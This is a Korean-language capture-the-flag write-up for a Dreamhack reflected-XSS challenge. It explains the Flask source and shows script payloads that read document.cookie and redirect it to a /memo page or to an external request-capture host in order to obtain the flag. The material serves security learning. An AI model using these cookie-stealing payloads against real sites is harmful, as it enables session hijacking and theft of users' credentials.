Write-Up
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver.add_cookie(cookie)
driver.get(url)
read_url 함수의 주요 부분이다. cookie.update({"domain": "127.0.0.1"}) 를 통해 쿠키가 유효한 범위(도메인)가 127.0.0.1 이란 것을 알 수 있다. 여기서 127.0.0.1 은 Target 서버의 local ip이다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
위 코드는 엔드 포인트 /flag 경로를 나타낸다. GET 요청 시, flag.html 페이지를 렌더링 해준다. POST 요청 시에는 param 파라미터에 대한 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다. 호출된 check_xss는 read_url 함수를 호출해 vuln 엔드 포인트에 접속한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다. 여기서, /memo 엔드포인트는 render_template 함수를 사용해 memo.html을 출력하기에 XSS가 발생하지 않는다. ( render_template 함수는 전달된 템플릿 변수를 기록할 때, HTML 엔티티코드로 변환해 저장하기 때문이다. ) 그러나 /vuln 엔드 포인트는 이용자가 입력한 값을 페이지에 그대로 출력하기에 XSS가 발생한다.
이제 exploit을 해보도록 한다!
/vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다. 그리고 탈취한 쿠키를 전달받기 위해서 외부에서 접근 가능한 웹 서버를 사용하거나 /memo 엔드 포인트를 사용할 수 있다.
먼저, self-xss(?) 를 시도해봤다. /vuln 페이지에 아래와 같은 코드를 통해 xss 공격을 하고자 했다.
<script>document.location='http://host3.dreamhack.games:17218/memo?memo='+document.domain</script>
위와 같은 payload 전달 시, 문법 오류가 발생했다. 당연히 /memo 장에 원하는 결과가 출력되지도 않았다. 그 이유는 + 가 공백으로 해석되기 때문에 Uncaught SyntaxError: Unexpected identifier 'document' 에러가 발생했다. 다시 + 에 대한 url encoding을 통해 %2B 로 변경 후 paylaod를 전달했다.
<script>document.location='http://host3.dreamhack.games:17218/memo?memo='%2bdocument.domain</script>
<script>document.location='/memo?memo='%2bdocument.domain</script>
/memo 장에 document.domain에 해당하는 값이 쓰여져 출력되었다.
이제 /flag 엔드 포인트로가 param에 아래와 같은 payload를 전달한다!
<script>location.href = "/memo?memo=" + document.cookie;</script>
/memo 장에 flag가 적혀있는 것을 확인할 수 있다.!! 혹은 외부 웹 서버를 통해 flag 값을 전달 받을 수 있다. 그에 대한 payload는 아래와 같다. ( 드림핵 툴즈 사용 )
<script>document.location='https://ivgnhxu.request.dreamhack.games?memo='+document.cookie</script>
참고
드림핵 로드맵에 해당 문제에 대한 해설이 제공되어 있다.
https://dreamhack.io/wargame/challenges/28